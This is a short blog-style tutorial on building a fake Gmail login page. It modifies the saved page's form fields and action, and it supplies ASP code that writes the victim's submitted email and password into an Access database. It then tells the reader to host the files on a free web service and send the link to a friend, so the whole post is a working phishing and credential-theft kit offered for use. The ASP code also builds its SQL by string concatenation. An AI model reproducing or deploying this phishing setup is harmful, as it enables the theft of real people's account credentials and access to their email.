Now, I give you one simple example .
This example make use of ASP,MS Acess (database). It is my choice . You can create this using any database and server scripting language.
1) First thing you will make a page that look like gmail page. Either you create it in flash or some designing software or u can make one folder name test. Open a gmail page in browser and save as gmail.html(Ctrl +S) in your test folder.
Now open a gmail.html page and go to view--> source
Make some changes in the code.
The following code
input type="text" name="Email" id="Email"
size="18" value=""
class='gaia le val'
is replace by
input name="fname" id="fname" size="18" class="gaia le val" type="text"
------------------------------------------------
input type="password"
name="Passwd" id="Passwd"
size="18"
class="gaia le val"
is replace by
input name="lname" id="Passwd" size="18" class="gaia le val" type="password"
and
form id="gaia_universallogin"
action="https://www.google.com/accounts/ServiceLoginAuth?service=mail" method="post"
is replace by
form id="gaia_universallogin" action="http://localhost/processForm.asp" method="post" >
Next you require one blank database and one ASP page named processForm.asp
• For making ASP Page open a notepad editor and copy the following code in it.
• Please trim the bullets and save as processForm.asp
• <% • strFirst = Request.Form("fname") • strLast = Request.Form("lname") • MyPath=Server.MapPath("example.mdb") Set conn = Server.CreateObject("ADODB.Connection") conn.Open "Driver={Microsoft Access Driver (*.mdb)};" & _ "DBQ=" & MyPath • SQL = "INSERT INTO contacts (FirstName, LastName) VALUES ('"&strFirst&"','"&strLast&"')" conn.Execute(SQL) %>
• Make one Access database named example.mdb ,create one table named as contacts and insert two field in it names Firstname and Lastname.
• Now open the site http:\\www. webng.com and register yourself.
• After registration upload your example.mdb file, processForm.asp file and gmail.html file
• You will get one web address( for example test.webng.com)and send that address to your friend.
• You see when u'r friend type gmail ID and password , they see nothing but the information store in the database.

No comments:
Post a Comment